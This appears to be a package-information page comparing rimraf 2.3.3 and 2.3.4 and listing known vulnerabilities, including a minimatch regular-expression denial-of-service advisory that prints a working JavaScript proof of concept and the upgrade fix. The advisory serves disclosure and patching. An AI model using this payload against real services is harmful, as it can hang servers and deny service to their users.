Rimraf is a crucial Node.js utility that provides a powerful, cross-platform solution for recursively deleting files and directories, akin to the rm -rf command in Unix-like systems. Comparing versions 2.3.3 and 2.3.4, developers will notice subtle but important distinctions. Both versions share the same core functionality, offering a reliable way to obliterate directory structures. They also depend on the glob package (version ^4.4.2) for file matching, ensuring compatibility and consistent behavior across different file systems. Both are licensed under permissive licenses, but version 2.3.3 used MIT License while version 2.3.4 uses ISC license.
While the main functionality remains consistent, the key difference lies in the licensing and potentially some minor bug fixes or internal improvements. Version 2.3.4 transitions to the ISC license, which is also a permissive license, similar to MIT. The releaseDate also indicates a difference of a few weeks, suggesting incremental changes. Developers using rimraf can rely on both versions for robust file deletion. The choice between the two might depend on specific project licensing requirements or a preference for the newer release date, implicitly indicating potentially improved stability or resolved minor issues. Always consult the rimraf's repository on GitHub for comprehensive changelogs.
All the vulnerabilities related to the version 2.3.4 of the package
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
